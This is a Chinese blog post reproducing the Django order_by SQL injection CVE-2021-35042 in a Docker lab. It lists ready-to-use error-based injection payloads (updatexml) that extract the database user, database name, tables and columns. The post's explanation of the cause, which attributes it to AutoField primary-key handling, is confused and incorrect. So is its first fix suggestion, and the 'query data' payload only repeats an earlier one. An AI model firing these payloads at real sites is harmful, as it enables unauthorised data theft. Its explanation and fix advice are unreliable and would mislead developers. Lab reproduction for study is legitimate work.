前言

SQL注入的原理是对web请求，表单或域名等提交查询的字符串没有进行安全检测过滤，攻击者可以拼接执行恶意SQL命令，导致用户数据泄露 。

漏洞原理

Django 组件存在 SQL 注入漏洞，该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足，攻击者可利用该漏洞在未授权的情况下，构造恶意数据执行 SQL 注入攻击，最终造成服务器敏感信息泄露.

以下是我自己的理解，根据Django使用的框架中，他创建了apps.py并执行，会自动生成一个models.py 。

models.py调用了Collection的这个类 。

然后发送到了这边，而models又需要migrations来迁移文件，其中调用了models.AutoField，而它如果在没有增加id这个字段的时候，会自动增加一个自增的数据库类型的字段id，但恰恰在此需要设为主键(primary_key=True)否则又会报错，导致错误将id设置为主键，可以执行SQL命令且没有被过滤 。

所以当order==id时会出现一个自增序列的数据(可以是ID也是等于id) 。

而当order=-ID又会出现问题，而打印出一些敏感信息 。

* 影响版本

Django 3.2 Django 3.1 。

环境搭建

靶机: 192.168.31.230 。

                        
                          yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //下载阿里的镜像yum源

yum install docker-ce docker-ce-cli contaninerd.io

wget https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-Linux-x86_64 //下载docker-compose

service docker start
详细docker搭建请参考此链接:https://www.cnblogs.com/BlogVice-2203/p/16977227.html

                        
                      

将CVE-2021-35042上传到centos7 。

                        
                          docker-compose build
docker-compose up -d  //启动漏洞环境

                        
                      

环境启动成功后，查看http://your-ip:8000访问首页 。

构造poc 。

                        
                          查当前用户
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23

                        
                      

                        
                          查当前数据库
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

                        
                      

                        
                          查表
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23

                        
                      

                        
                          查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x5c),1)%23

                        
                      

                        
                          查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

                        
                      

                        
                          查数据
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

                        
                      

修复建议

1.将除了id以外的其他字段其中一个设置为主键（我自己对AutoField()的理解），这样或许可以避免id成为主键自增，在数据库中就没有了主键id，就不会导致SQL注入产生 2.更新最新版本 。

最后此篇关于Django之SQL注入漏洞复现(CVE-2021-35042)的文章就讲到这里了,如果你想了解更多关于Django之SQL注入漏洞复现(CVE-2021-35042)的内容请搜索CFSDN的文章或继续浏览相关文章，希望大家以后支持我的博客！ 。